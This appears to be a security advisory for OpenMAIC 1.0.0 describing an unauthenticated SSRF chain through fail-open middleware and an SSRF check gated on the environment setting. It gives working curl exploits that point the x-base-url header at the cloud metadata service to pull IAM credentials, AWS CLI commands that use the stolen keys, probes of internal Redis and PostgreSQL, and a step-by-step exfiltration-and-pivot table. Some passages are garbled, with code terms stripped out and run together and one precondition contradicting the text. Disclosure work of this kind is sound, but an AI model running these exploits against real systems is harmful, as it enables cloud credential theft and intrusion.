
OpenMAIC 1.0.0: Unauthenticated Outbound SSRF to Cloud Metadata Service via Fail-Open Middleware and Environment-Gated Validation Bypass
Verified. A two-leg exploit chain exists in OpenMAIC's authentication middleware and outbound provider request layer that allows an unauthenticated remote attacker to make the application server issue arbitrary outbound HTTP requests - including to the cloud Instance Metadata Service (IMDS) at 169.254.169.254 - without possessing any credentials whatsoever.
Leg 1: The Next.js Edge middleware in middleware.ts implements a fail-open posture when the ACCESS_CODE environment variable is absent. In the default .env.example configuration, ACCESS_CODE is unset, meaning all 70 API routes are globally unauthenticated and reachable by any external client.
Leg 2: Across five distinct API route handlers, client-supplied provider base URLs (via or request parameters) are only passed through when . In any , , , or unset environment, the SSRF guard is completely skipped and the application issues an outbound to the attacker-controlled URL.
x-base-urlbaseUrlvalidateUrlForSSRF()process.env.NODE_ENV === 'production'developmentstagingpreviewfetch()Chained together: an unauthenticated attacker supplies x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ to any generation endpoint, and the server fetches the cloud IAM role credentials and returns them in the response. No prior account, no token, no local foothold required.
The middleware is the sole authentication gate for all API routes. When ACCESS_CODE is not set - the default state per .env.example - every request to every route passes immediately. There is no fallback mechanism, no warning emitted, no alternative auth check. The fail-open is unconditional and silent. This exposes 70 API endpoints including generation, persistence, media proxy, extraction, and AI execution routes to any unauthenticated caller.
The validateUrlForSSRF function in lib/server/ssrf-guard.ts already handles environment-specific exceptions correctly via ALLOW_LOCAL_NETWORKS. The NODE_ENV gate in each route handler is entirely redundant as a dev-mode affordance but catastrophic as a security boundary: it disables SSRF validation globally across staging, preview, CI/CD, and self-hosted deployments where NODE_ENV is not explicitly set to 'production'.
curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
-H "Content-Type: application/json" \
-H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d '{"prompt": "test", "model": "dall-e-3"}'
Expected response (IMDS passthrough):
ec2-instance-role
curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
-H "Content-Type: application/json" \
-H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-instance-role" \
-d '{"prompt": "test", "model": "dall-e-3"}'
Expected response:
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAXXXXXXXXXXXXXXXXXXX",
"SecretAccessKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"Token": "IQoJb3JpZ2luX2VjEA...",
"Expiration": "2026-09-02T00:30:00Z"
}
export AWS_ACCESS_KEY_ID="ASIAXXXXXXXXXXXXXXXXXXX"
export AWS_SECRET_ACCESS_KEY="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEA..."
aws sts get-caller-identity
aws s3 ls
aws iam list-attached-role-policies --role-name ec2-instance-role
# Redis on default port - RESP protocol response returned in API error
curl -s -X POST "https://target.example.com/api/generate/image" \
-H "x-base-url: http://127.0.0.1:6379/" \
-d '{"prompt":"INFO"}'
# PostgreSQL on default port
curl -s -X POST "https://target.example.com/api/generate/image" \
-H "x-base-url: http://127.0.0.1:5432/" \
-d '{"prompt":"test"}'
| Phase | Step | Effect |
|---|---|---|
| 1. Unauthenticated Ingress | Remote client sends HTTP request to /api/generate/image without cookies or tokens | middleware.ts evaluates !process.env.ACCESS_CODE and invokes NextResponse.next() |
| 2. Header Ingestion | Attacker specifies target internal address in header: x-base-url: http://169.254.169.254/... | Route handler extracts clientBaseUrl from request headers |
| 3. SSRF Bypass | Server environment has NODE_ENV !== 'production' (e.g., staging or container default) | Handler evaluates process.env.NODE_ENV === 'production' to false and skips validateUrlForSSRF() |
| 4. Outbound Request Sink | Service client initializes with attacker-supplied base URL and executes request | Server performs outbound fetch() to http://169.254.169.254/ |
| 5. Metadata Exfiltration | Cloud instance metadata service responds with metadata or IAM security credentials | Server incorporates HTTP response body into API return payload or error message |
| 6. Cloud Pivot | Attacker extracts temporary AWS/GCP/Azure security credentials | Attacker uses cloud credentials externally to access cloud resources and datastores |
Preconditions:
ACCESS_CODE set (default configuration).NODE_ENV is not strictly set to 'production' (e.g., staging, dev, self-hosted, or misconfigured container).To confirm reachability and validate security defenses without deploying malicious payloads:
process.env.ACCESS_CODE is undefined, middleware.ts returns NextResponse.next(). Sending an HTTP request with no auth headers to any protected endpoint (e.g., POST /api/generate/image) yields an endpoint-level response (e.g., 400/401 for provider configuration) rather than a 401 Access Code Required rejection.NODE_ENV="staging" or NODE_ENV="development", inspect whether validateUrlForSSRF is called. Because of if (clientBaseUrl && process.env.NODE_ENV === 'production'), execution jumps past the validation block and attempts network connection to the specified base URL.NODE_ENV='development' and supplying a loopback URL http://127.0.0.1:9999 verifies whether the request is rejected with INVALID_URL (403) or allowed to proceed to network transport. In the unpatched state, the request attempts socket connection; in the patched state, it is immediately rejected with HTTP 403.